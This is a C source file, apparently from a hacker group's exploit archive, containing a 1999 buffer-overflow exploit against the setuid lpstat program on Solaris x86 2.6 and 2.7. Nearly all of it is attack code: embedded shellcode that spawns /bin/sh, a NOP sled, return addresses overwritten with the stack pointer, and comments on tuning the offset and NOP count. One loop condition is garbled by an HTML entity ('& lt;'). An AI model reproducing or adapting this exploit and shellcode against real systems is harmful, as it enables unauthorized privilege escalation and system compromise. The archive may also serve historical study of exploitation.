added unreleased README
[oweals/thc-archive.git] / Exploits / lpstat.c
1 /*
2  * lpstat sploit for solaris x86 2.6 and 2.7 
3  * by plasmoid/deep/thc <plasmoid@thc.org> (c) 1999
4  * supported by insected and wilkins
5  *
6  * THC - The Hacker's Choice
7  */
8
9 #include <unistd.h>
10 #include <stdio.h>
11 #include <stdlib.h>
12 #include <string.h>
13
14 char shell[] =
15     "\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
16     "\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
17     "\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
18     "\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
19     "\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
20     "\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";
21
22 const int buffersize = 1100;
23 const char x86_nop = 0x90;
24 long nop, esp;
25 long offset = 0;
26 char buffer[2000];
27
28 long get_esp()
29 {
30     __asm__("movl %esp,%eax");
31 }
32
33 int main(int argc, char *argv[])
34 {
35     int i;
36
37     /* you shouldn't edit the offset, we run with
38        800 nops in 1100 bytes buffer, one of those
39        nops should be hit */
40
41     if (argc > 1)
42         offset = strtol(argv[1], NULL, 0);
43
44     /* if you don't succeed, modify the nop count,
45        the standart value of 801 bybtes is quite
46        strange enuff */
47
48     if (argc > 2)
49         nop = strtoul(argv[2], NULL, 0);
50     else
51         nop = 801;
52
53     esp = get_esp();
54
55     memset(buffer, x86_nop, buffersize);
56     memcpy(buffer + nop, shell, strlen(shell));
57     for (i = nop + strlen(shell); i & lt; buffersize - 4; i += 4)
58         *((int *) &buffer[i]) = esp + offset;
59
60     execl("/usr/bin/lpstat", "lpstat", "-c", buffer, NULL);
61
62     printf("exec failed!\n");
63     return 0;
64 }